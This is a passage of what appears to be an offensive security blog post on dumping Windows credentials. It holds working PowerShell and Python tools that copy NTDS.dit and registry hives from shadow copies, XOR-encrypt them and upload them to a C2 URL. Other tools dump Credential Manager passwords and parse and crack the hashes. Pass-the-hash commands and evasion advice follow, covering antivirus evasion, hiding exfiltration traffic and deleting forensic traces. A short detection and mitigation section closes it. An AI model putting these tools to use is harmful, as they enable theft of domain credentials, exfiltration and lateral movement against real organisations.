37function Copy-FromShadow([string]$shadowPath) {
38 # create symbolic link to shadow copy for easy access
39 cmd /c "mklink /d `"$linkPath`" `"$shadowPath`"" | Out-Null
40 Write-Host "[*] link: $linkPath → $shadowPath"
41
42 $ntds_src = "$linkPath\Windows\NTDS\ntds.dit"
43 $system_src = "$linkPath\Windows\System32\config\SYSTEM"
44
45 if (Test-Path $ntds_src) {
46 Copy-Item $ntds_src $ntds_out -Force
47 Copy-Item $system_src $system_out -Force
48 Write-Host "[+] NTDS.dit : $ntds_out ($([math]::Round((Get-Item $ntds_out).Length/1MB,1)) MB)"
49 Write-Host "[+] SYSTEM : $system_out"
50 } else {
51 Write-Warning "[-] NTDS.dit not found — not a DC?"
52 }
53
54 # cleanup link
55 cmd /c "rmdir `"$linkPath`"" | Out-Null
56}
57
58function Encrypt-Files {
59 @($ntds_out, $system_out) | Where-Object { Test-Path $_ } | ForEach-Object {
60 $raw = [IO.File]::ReadAllBytes($_)
61 for ($i = 0; $i -lt $raw.Length; $i++) {
62 $raw[$i] = $raw[$i] -bxor ($XorKey + ($i -band 0xff))
63 }
64 $enc = $_ + ".enc"
65 [IO.File]::WriteAllBytes($enc, $raw)
66 Remove-Item $_ -Force
67
68 if ($Exfil) {
69 $wc = New-Object Net.WebClient
70 $wc.Headers.Add("X-File", [IO.Path]::GetFileName($enc))
71 $wc.UploadData($C2Url, "POST", $raw)
72 Write-Host "[+] exfiltrated: $enc"
73 } else {
74 Write-Host "[+] encrypted: $enc"
75 }
76 }
77}
78
79function Remove-ShadowAndArtifacts([string]$shadowPath) {
80 $id = (Get-WmiObject Win32_ShadowCopy |
81 Where-Object { $_.DeviceObject + "\" -eq $shadowPath }).ID
82 if ($id) {
83 (Get-WmiObject Win32_ShadowCopy -Filter "ID='$id'").Delete()
84 Write-Host "[+] shadow copy deleted"
85 }
86 Remove-Item $ntds_out, $system_out,
87 ($ntds_out + ".enc"), ($system_out + ".enc") `
88 -Force -ErrorAction SilentlyContinue
89}
90
91if ($Cleanup) {
92 Remove-Item $ntds_out, $system_out,
93 ($ntds_out + ".enc"), ($system_out + ".enc") `
94 -Force -ErrorAction SilentlyContinue
95 return
96}
97
98$shadow = New-ShadowCopy
99if ($shadow) {
100 Copy-FromShadow $shadow
101 Encrypt-Files
102 Remove-ShadowAndArtifacts $shadow
103
104 Write-Host "`n[*] parse on Kali:"
105 Write-Host " impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL"
106}Technique 6 — LSA Secrets + Cached Domain Credentials (DCC2)
LSA Secrets live in HKLM\SECURITY\Policy\Secrets, inaccessible even to admins directly. But using the same SAM extraction approach (reg save SECURITY) and the SysKey from SYSTEM, you can decrypt them offline with impacket.
Cached Domain Credentials (DCC2 hashes) allow domain users to log in when the DC is unreachable. They’re stored here too.
1# Invoke-LSASecretsDump.ps1
2# Dumps LSA secrets and DCC2 hashes via registry hive extraction.
3
4param(
5 [string]$OutDir = "C:\Windows\Temp",
6 [byte] $XorKey = 0x22
7)
8
9$files = @{
10 SYSTEM = "$OutDir\sys.tmp"
11 SECURITY = "$OutDir\sec.tmp"
12}
13
14# export hives
15$files.GetEnumerator() | ForEach-Object {
16 Start-Process reg.exe `
17 -ArgumentList "save HKLM\$($_.Key) `"$($_.Value)`" /y" `
18 -Wait -WindowStyle Hidden | Out-Null
19 Write-Host "[+] $($_.Key) → $($_.Value)"
20}
21
22# encrypt
23$files.Values | ForEach-Object {
24 $raw = [IO.File]::ReadAllBytes($_)
25 for ($i = 0; $i -lt $raw.Length; $i++) {
26 $raw[$i] = $raw[$i] -bxor ($XorKey + ($i -band 0xff))
27 }
28 [IO.File]::WriteAllBytes($_ + ".enc", $raw)
29 Remove-Item $_ -Force
30 Write-Host "[+] encrypted: $($_ + '.enc')"
31}
32
33Write-Host "`n[*] extract on Kali:"
34Write-Host " impacket-secretsdump -system SYSTEM -security SECURITY LOCAL"
35Write-Host ""
36Write-Host " # DCC2 crack (domain cached creds):"
37Write-Host " hashcat -m 2100 dcc2.hash rockyou.txt"Technique 7 — Windows Credential Manager + DPAPI
The Credential Manager stores browser passwords, RDP credentials, and saved network credentials, all encrypted with DPAPI. The DPAPI master key is derived from the user’s password and stored in their profile. With the user’s session active, decryption is seamless.
1# Invoke-CredManDump.ps1
2# Extracts Windows Credential Manager entries using CredEnumerate Win32 API.
3# Runs in the context of the logged-in user — no admin required for their own creds.
4
5Add-Type @"
6using System;
7using System.Runtime.InteropServices;
8using System.Collections.Generic;
9using System.Text;
10
11public class CredMan {
12 [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
13 public struct CREDENTIAL {
14 public int Flags;
15 public int Type;
16 public string TargetName;
17 public string Comment;
18 public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
19 public int CredentialBlobSize;
20 public IntPtr CredentialBlob;
21 public int Persist;
22 public int AttributeCount;
23 public IntPtr Attributes;
24 public string TargetAlias;
25 public string UserName;
26 }
27
28 [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
29 public static extern bool CredEnumerate(
30 string filter, int flags, out int count, out IntPtr pCredentials);
31 [DllImport("advapi32.dll")] public static extern void CredFree(IntPtr buffer);
32
33 public static List<string[]> DumpAll() {
34 var results = new List<string[]>();
35 IntPtr pCreds;
36 int count;
37
38 if (!CredEnumerate(null, 0, out count, out pCreds)) return results;
39
40 IntPtr cur = pCreds;
41 for (int i = 0; i < count; i++) {
42 IntPtr pCred = Marshal.ReadIntPtr(cur);
43 var cred = Marshal.PtrToStructure<CREDENTIAL>(pCred);
44
45 string pass = "";
46 if (cred.CredentialBlobSize > 0 && cred.CredentialBlob != IntPtr.Zero) {
47 byte[] blob = new byte[cred.CredentialBlobSize];
48 Marshal.Copy(cred.CredentialBlob, blob, 0, cred.CredentialBlobSize);
49 // try decode as UTF-16 (most Windows credentials)
50 try { pass = Encoding.Unicode.GetString(blob); }
51 catch { pass = BitConverter.ToString(blob); }
52 }
53
54 results.Add(new string[] {
55 cred.TargetName ?? "",
56 cred.UserName ?? "",
57 pass,
58 cred.Type.ToString()
59 });
60 cur = IntPtr.Add(cur, IntPtr.Size);
61 }
62 CredFree(pCreds);
63 return results;
64 }
65}
66"@
67
68Write-Host "`n[+] Windows Credential Manager entries:`n"
69$creds = [CredMan]::DumpAll()
70if ($creds.Count -eq 0) {
71 Write-Host " (none found for current user)"
72} else {
73 $creds | ForEach-Object {
74 Write-Host " Target : $_[0]" -ForegroundColor Cyan
75 Write-Host " Username: $_[1]"
76 Write-Host " Password: $_[2]" -ForegroundColor Yellow
77 Write-Host " Type : $_[3]"
78 Write-Host ""
79 }
80}
81
82# also export DPAPI blobs for offline cracking
83$dpapi_path = "$env:APPDATA\Microsoft\Protect"
84if (Test-Path $dpapi_path) {
85 Write-Host "[*] DPAPI master key location: $dpapi_path"
86 Get-ChildItem $dpapi_path -Recurse | ForEach-Object {
87 Write-Host " $($_.FullName)"
88 }
89 Write-Host ""
90 Write-Host "[*] decrypt with:"
91 Write-Host " impacket-dpapi masterkey -file <masterkey> -sid <SID> -password <pass>"
92}Tool — Dump Parser & Credential Extractor (Python)
Full offline credential extraction pipeline: decrypts XOR-encrypted dumps, parses SAM hives, and outputs crackable hashes.
1#!/usr/bin/env python3
2# dump_parser.py
3# Offline credential extraction tool.
4#
5# Capabilities:
6# - XOR decrypt encrypted dumps / hives
7# - Parse SAM + SYSTEM hives to extract NTLM hashes (via impacket)
8# - Format hashes for hashcat / john
9# - Parse DCC2 hashes for hashcat -m 2100
10#
11# Requirements: pip install impacket
12#
13# Usage:
14# python3 dump_parser.py --decrypt --key 0x4C lsass.enc lsass.dmp
15# python3 dump_parser.py --sam SAM --system SYSTEM [--security SECURITY]
16# python3 dump_parser.py --ntds ntds.dit --system SYSTEM
17# python3 dump_parser.py --format hashcat --out hashes.txt
18
19import argparse
20import os
21import sys
22import struct
23import hashlib
24from datetime import datetime
25
26try:
27 from impacket.examples.secretsdump import (
28 LocalOperations, NTDSHashes, SAMHashes, LSASecrets
29 )
30 HAS_IMPACKET = True
31except ImportError:
32 HAS_IMPACKET = False
33 print("[!] impacket not installed — install with: pip install impacket", file=sys.stderr)
34
35
36# ── XOR decrypt ────────────────────────────────────────────────────────────
37
38def rolling_xor_decrypt(data: bytes, key: int) -> bytes:
39 return bytes(b ^ ((key + i) & 0xff) for i, b in enumerate(data))
40
41
42def decrypt_file(in_path: str, out_path: str, key: int) -> bool:
43 try:
44 with open(in_path, 'rb') as f:
45 enc = f.read()
46 dec = rolling_xor_decrypt(enc, key)
47 with open(out_path, 'wb') as f:
48 f.write(dec)
49 print(f"[+] decrypted {in_path} → {out_path} ({len(dec)} bytes)")
50 return True
51 except Exception as e:
52 print(f"[-] decrypt failed: {e}", file=sys.stderr)
53 return False
54
55
56# ── SAM hash extraction ─────────────────────────────────────────────────────
57
58def dump_sam(sam_path: str, system_path: str, security_path: str = None,
59 fmt: str = 'hashcat') -> list:
60 if not HAS_IMPACKET:
61 return []
62
63 hashes = []
64 print(f"\n[*] parsing SAM: {sam_path}")
65
66 try:
67 local_ops = LocalOperations(system_path)
68 boot_key = local_ops.getBootKey()
69 print(f"[*] boot key : {boot_key.hex()}")
70
71 sam_hashes = SAMHashes(sam_path, boot_key, isRemote=False)
72 sam_hashes.dump()
73
74 for entry in sam_hashes._SAMHashes:
75 username = entry['username']
76 rid = entry['rid']
77 lm = entry['lmhash'].hex() if entry['lmhash'] else 'aad3b435b51404eeaad3b435b51404ee'
78 ntlm = entry['nthash'].hex() if entry['nthash'] else '31d6cfe0d16ae931b73c59d7e0c089c0'
79
80 if fmt == 'hashcat':
81 line = f"{username}:{rid}:{lm}:{ntlm}:::"
82 elif fmt == 'john':
83 line = f"{username}:{ntlm}"
84 else:
85 line = f"{username} RID={rid} LM={lm} NTLM={ntlm}"
86
87 hashes.append(line)
88 print(f" [HASH] {line}")
89
90 sam_hashes.finish()
91 except Exception as e:
92 print(f"[-] SAM parse error: {e}", file=sys.stderr)
93
94 if security_path:
95 print(f"\n[*] parsing LSA secrets + DCC2: {security_path}")
96 try:
97 lsa = LSASecrets(security_path, boot_key, None, isRemote=False)
98 lsa.dumpCachedHashes()
99 lsa.dumpSecrets()
100 lsa.finish()
101 except Exception as e:
102 print(f"[-] LSA error: {e}", file=sys.stderr)
103
104 return hashes
105
106
107# ── NTDS hash extraction ────────────────────────────────────────────────────
108
109def dump_ntds(ntds_path: str, system_path: str,
110 fmt: str = 'hashcat') -> list:
111 if not HAS_IMPACKET:
112 return []
113
114 hashes = []
115 print(f"\n[*] parsing NTDS.dit: {ntds_path}")
116
117 try:
118 local_ops = LocalOperations(system_path)
119 boot_key = local_ops.getBootKey()
120 print(f"[*] boot key : {boot_key.hex()}")
121
122 ntds = NTDSHashes(ntds_path, boot_key, isRemote=False,
123 history=False, noLMHash=True)
124 ntds.dump()
125
126 # NTDSHashes writes to stdout — in production redirect or monkey-patch
127 # For structured output, use the callback interface
128 ntds.finish()
129 except Exception as e:
130 print(f"[-] NTDS parse error: {e}", file=sys.stderr)
131
132 return hashes
133
134
135# ── hash formatter ──────────────────────────────────────────────────────────
136
137def write_hashes(hashes: list, out_path: str, fmt: str):
138 if not hashes:
139 print("[*] no hashes to write")
140 return
141
142 with open(out_path, 'w') as f:
143 for h in hashes:
144 f.write(h + '\n')
145
146 print(f"\n[+] {len(hashes)} hashes → {out_path}")
147
148 if fmt == 'hashcat':
149 print(f"[*] crack NTLM: hashcat -m 1000 {out_path} rockyou.txt -r best64.rule")
150 print(f"[*] crack NTLMv2: hashcat -m 5600 {out_path} rockyou.txt")
151 print(f"[*] crack DCC2: hashcat -m 2100 {out_path} rockyou.txt")
152 elif fmt == 'john':
153 print(f"[*] crack: john --wordlist=rockyou.txt --format=NT {out_path}")
154
155
156# ── main ────────────────────────────────────────────────────────────────────
157
158def main():
159 p = argparse.ArgumentParser(description="Offline credential extraction tool")
160
161 # decrypt options
162 p.add_argument('--decrypt', action='store_true')
163 p.add_argument('--key', default='0x4C', help='XOR key hex')
164 p.add_argument('--out-suffix', default='.dec', help='decrypted file suffix')
165
166 # source options
167 p.add_argument('--sam', metavar='FILE')
168 p.add_argument('--system', metavar='FILE')
169 p.add_argument('--security', metavar='FILE', default=None)
170 p.add_argument('--ntds', metavar='FILE')
171
172 # output options
173 p.add_argument('--format', choices=['hashcat','john','plain'], default='hashcat')
174 p.add_argument('--out', default='hashes.txt')
175
176 # positional: files to decrypt
177 p.add_argument('files', nargs='*')
178
179 args = p.parse_args()
180 key = int(args.key, 16) & 0xff
181
182 # decrypt mode
183 if args.decrypt:
184 if not args.files:
185 p.error("--decrypt requires input files")
186 for f in args.files:
187 out = os.path.splitext(f)[0] + args.out_suffix
188 decrypt_file(f, out, key)
189 return
190
191 # SAM dump
192 if args.sam and args.system:
193 hashes = dump_sam(args.sam, args.system, args.security, args.format)
194 write_hashes(hashes, args.out, args.format)
195 return
196
197 # NTDS dump
198 if args.ntds and args.system:
199 hashes = dump_ntds(args.ntds, args.system, args.format)
200 write_hashes(hashes, args.out, args.format)
201 return
202
203 p.print_help()
204
205
206if __name__ == '__main__':
207 main()Tool — Hash Cracker Helper (Python)
1#!/usr/bin/env python3
2# hash_crack.py
3# Orchestrates hashcat / john for common credential dump hash types.
4# Generates optimised crack commands and runs them with progress tracking.
5#
6# Usage:
7# python3 hash_crack.py --hashes hashes.txt --wordlist rockyou.txt
8# python3 hash_crack.py --hashes hashes.txt --type ntlm --rules
9# python3 hash_crack.py --hashes hashes.txt --type dcc2 --wordlist rockyou.txt
10
11import argparse
12import subprocess
13import os
14import sys
15import re
16from pathlib import Path
17
18HASHCAT_MODES = {
19 'ntlm': 1000,
20 'ntlmv2': 5600,
21 'dcc2': 2100,
22 'lm': 3000,
23 'md5crypt':500,
24 'sha256': 1400,
25}
26
27RULE_FILES = [
28 '/usr/share/hashcat/rules/best64.rule',
29 '/usr/share/hashcat/rules/dive.rule',
30 '/usr/share/hashcat/rules/OneRuleToRuleThemAll.rule',
31]
32
33def detect_hash_type(hash_file: str) -> str:
34 with open(hash_file) as f:
35 sample = f.readline().strip()
36
37 # secretsdump format: user:rid:lm:ntlm:::
38 if re.match(r'.+:\d+:[0-9a-f]{32}:[0-9a-f]{32}:::', sample, re.I):
39 return 'ntlm'
40 # DCC2: $DCC2$...
41 if sample.startswith('$DCC2$'):
42 return 'dcc2'
43 # NTLMv2: user::domain:challenge:response
44 if sample.count(':') == 5 and len(sample.split(':')[5]) == 64:
45 return 'ntlmv2'
46 # raw 32-char hex
47 if re.match(r'^[0-9a-f]{32}$', sample, re.I):
48 return 'ntlm'
49 return 'ntlm' # default
50
51def extract_ntlm(hash_file: str, out_file: str) -> int:
52 """Extract NTLM column from secretsdump format for hashcat -m 1000"""
53 count = 0
54 with open(hash_file) as fi, open(out_file, 'w') as fo:
55 for line in fi:
56 line = line.strip()
57 if not line or line.startswith('#'): continue
58 parts = line.split(':')
59 if len(parts) >= 4:
60 ntlm = parts[3]
61 if re.match(r'^[0-9a-f]{32}$', ntlm, re.I) and \
62 ntlm != '31d6cfe0d16ae931b73c59d7e0c089c0': # skip empty
63 fo.write(ntlm + '\n')
64 count += 1
65 return count
66
67def run_hashcat(mode: int, hash_file: str, wordlist: str,
68 rules: list = None, extra_args: list = None) -> None:
69 cmd = [
70 'hashcat',
71 '-m', str(mode),
72 '-a', '0', # wordlist attack
73 '--force',
74 '--potfile-disable', # don't skip already-cracked
75 '--status', '--status-timer=10',
76 hash_file,
77 wordlist,
78 ]
79 if rules:
80 for r in rules:
81 if os.path.exists(r):
82 cmd += ['-r', r]
83 if extra_args:
84 cmd += extra_args
85
86 print(f"\n[*] running: {' '.join(cmd)}\n")
87 try:
88 subprocess.run(cmd, check=False)
89 except FileNotFoundError:
90 print("[-] hashcat not found — install with: sudo apt install hashcat")
91
92def show_cracked(pot_file: str = None) -> None:
93 pot = pot_file or os.path.expanduser('~/.hashcat/hashcat.potfile')
94 if not os.path.exists(pot):
95 print("[*] no potfile found")
96 return
97 print(f"\n[+] cracked credentials ({pot}):")
98 with open(pot) as f:
99 for line in f:
100 line = line.strip()
101 if ':' in line:
102 parts = line.split(':', 1)
103 print(f" HASH: {parts[0][:16]}... PASS: {parts[1]}")
104
105def main():
106 p = argparse.ArgumentParser(description="Hashcat orchestrator for cred dumps")
107 p.add_argument('--hashes', required=True)
108 p.add_argument('--wordlist', default='/usr/share/wordlists/rockyou.txt')
109 p.add_argument('--type',
110 choices=list(HASHCAT_MODES.keys()),
111 default=None, help='auto-detect if omitted')
112 p.add_argument('--rules', action='store_true', help='apply best64 rules')
113 p.add_argument('--show', action='store_true', help='show cracked only')
114 p.add_argument('--extract', action='store_true',
115 help='extract NTLM column from secretsdump format first')
116 args = p.parse_args()
117
118 if args.show:
119 show_cracked()
120 return
121
122 hash_type = args.type or detect_hash_type(args.hashes)
123 mode = HASHCAT_MODES[hash_type]
124 target = args.hashes
125
126 print(f"[*] hash type : {hash_type} (mode {mode})")
127 print(f"[*] hash file : {args.hashes}")
128 print(f"[*] wordlist : {args.wordlist}")
129
130 if args.extract and hash_type == 'ntlm':
131 extracted = args.hashes + '.ntlm'
132 n = extract_ntlm(args.hashes, extracted)
133 print(f"[*] extracted {n} NTLM hashes → {extracted}")
134 target = extracted
135
136 if not os.path.exists(args.wordlist):
137 print(f"[-] wordlist not found: {args.wordlist}")
138 print(" download: wget https://github.com/brannondorsey/naive-hashcat/"
139 "releases/download/data/rockyou.txt")
140 sys.exit(1)
141
142 rules = [RULE_FILES[0]] if args.rules else None
143 run_hashcat(mode, target, args.wordlist, rules)
144 show_cracked()
145
146if __name__ == '__main__':
147 main() 1# full pipeline
2# 1. decrypt dump
3python3 dump_parser.py --decrypt --key 0x4C lsass.enc
4
5# 2. parse SAM hashes
6python3 dump_parser.py --sam SAM --system SYSTEM --security SECURITY \
7 --format hashcat --out hashes.txt
8
9# 3. crack
10python3 hash_crack.py --hashes hashes.txt --wordlist rockyou.txt \
11 --extract --rules
12
13# 4. pass-the-hash with cracked / raw NTLM
14impacket-psexec -hashes :a<ntlm_hash> Administrator@10.10.10.10
15impacket-wmiexec -hashes :a<ntlm_hash> Administrator@10.10.10.10OpSec Notes
┌─────────────────────────────────────────────────────────────────────┐
│ NOISE LEVEL BY TECHNIQUE │
├──────────────────────┬────────────────┬────────────────────────────┤
│ Technique │ Noise Level │ Primary Detection Signal │
├──────────────────────┼────────────────┼────────────────────────────┤
│ comsvcs.dll MiniDump │ HIGH │ rundll32 → comsvcs.dll │
│ │ │ touching lsass handle │
├──────────────────────┼────────────────┼────────────────────────────┤
│ Custom Dumper │ MEDIUM │ OpenProcess(lsass) EID 10 │
│ (lsass_dump.exe) │ │ MiniDumpWriteDump call │
├──────────────────────┼────────────────┼────────────────────────────┤
│ Handle Duplication │ LOW │ No direct OpenProcess, │
│ │ │ DuplicateHandle from │
│ │ │ trusted process │
├──────────────────────┼────────────────┼────────────────────────────┤
│ SAM / hive reg save │ MEDIUM │ reg.exe saving hives, │
│ │ │ SAM file creation │
├──────────────────────┼────────────────┼────────────────────────────┤
│ NTDS via VSS │ MEDIUM-LOW │ VSS creation event, │
│ │ │ ntds.dit file access │
├──────────────────────┼────────────────┼────────────────────────────┤
│ Credential Manager │ LOW │ CredEnumerate API call │
│ │ │ (user-context only) │
└──────────────────────┴────────────────┴────────────────────────────┘- Encrypt every dump before it hits disk. The XOR-on-write callback in
lsass_dump.cmeans the plaintext MiniDump never exists as a file. Only the encrypted version is written. This defeats file-based AV scanning. - Exfiltrate over HTTPS. HTTP POST of a dump is a large anomalous upload. Use HTTPS with a clean domain, or chunk into smaller requests to blend with normal traffic.
- The dump file name matters.
lsass.dmpis a hard Defender signature. Use random extensions:.tmp,.log,.dat, names matching existing system files in the same directory. - PPL (Protected Process Light) blocks
OpenProcesson LSASS when Credential Guard is active. Handle duplication is your best bet. Kernel-level techniques (driver-based) are beyond this post’s scope but exist. - Timing matters for VSS. On DCs with heavy AD activity, VSS snapshots can lag. Create the snapshot, extract immediately, and delete. Don’t leave shadows around for forensics to find.
Detection (Blue Team)
| signal | event |
|---|---|
OpenProcess targeting LSASS | Sysmon EID 10 — SourceImage + TargetImage = lsass.exe |
rundll32.exe loading comsvcs.dll | Sysmon EID 7 — ImageLoad |
MiniDumpWriteDump called against LSASS | ETW — Microsoft-Windows-Threat-Intelligence |
reg.exe save HKLM\SAM | Sysmon EID 1 — CommandLine |
| VSS shadow copy creation | Windows EID 7036 — VSS service + WMI |
| Large file write to Temp | Sysmon EID 11 — FileCreate, size anomaly |
| NTLM hash used in Pass-the-Hash | Security EID 4624 — LogonType=3 + NTLM |
CredEnumerate called | ETW — Microsoft-Windows-Security-Auditing |
PowerShell hunt — find lsass access events:
1# Hunt-LSASSAccess.ps1
2Get-WinEvent -FilterHashtable @{
3 LogName = "Microsoft-Windows-Sysmon/Operational"
4 Id = 10 # ProcessAccess
5} -MaxEvents 1000 -ErrorAction SilentlyContinue |
6Where-Object {
7 $_.Message -match "lsass\.exe" -and
8 $_.Message -match "TargetImage"
9} |
10Select-Object TimeCreated,
11 @{N="Source";E={ ($_.Message | Select-String "SourceImage: (.+)").Matches[0].Groups[1].Value }},
12 @{N="Access"; E={ ($_.Message | Select-String "GrantedAccess: (.+)").Matches[0].Groups[1].Value }} |
13Format-Table -AutoSizeMitigation stack:
1# Enable Credential Guard (blocks WDigest, encrypts NTLM in LSASS)
2# Requires UEFI Secure Boot + TPM 2.0
3$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard"
4Set-ItemProperty $regPath "EnableVirtualizationBasedSecurity" 1
5Set-ItemProperty $regPath "RequirePlatformSecurityFeatures" 1
6
7# Enable RunAsPPL — protects LSASS as Protected Process Light
8Set-ItemProperty `
9 "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
10 "RunAsPPL" 1
11
12# Disable WDigest plaintext caching
13Set-ItemProperty `
14 "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
15 "UseLogonCredential" 0
16
17# Block reg.exe from saving SAM/SYSTEM hives via AppLocker
18# (DLL Rules must be enabled)MITRE ATT&CK
| technique | ID | description |
|---|---|---|
| OS Credential Dumping | T1003 | Parent technique |
| LSASS Memory | T1003.001 | comsvcs MiniDump, custom dumper, handle dup |
| Security Account Manager | T1003.002 | SAM hive extraction |
| NTDS | T1003.003 | ntds.dit via VSS on DC |
| LSA Secrets | T1003.004 | SECURITY hive + LSA decryption |
| Cached Domain Credentials | T1003.005 | DCC2 hash extraction |
| Credentials from Password Stores | T1555 | Credential Manager |
| Windows Credential Manager | T1555.004 | CredEnumerate API |
| Defense Evasion | TA0005 | Encrypted dumps, LOLBin delivery |
| Credential Access | TA0006 | Primary tactic |
| Lateral Movement | TA0008 | Pass-the-Hash, Pass-the-Ticket |
References
- MITRE ATT&CK T1003 — OS Credential Dumping
- MITRE ATT&CK T1003.001 — LSASS Memory
- MITRE ATT&CK T1003.003 — NTDS
- Benjamin Delpy — Mimikatz research
- impacket — secretsdump
- pypykatz — pure Python Mimikatz
- Skelsec — LSASS parsing research
- Cobalt Strike — credential dumping TTPs
- ired.team — credential dumping notes
- Microsoft — Credential Guard documentation
- LOLBAS — comsvcs.dll
- PayloadsAllTheThings — credential dumping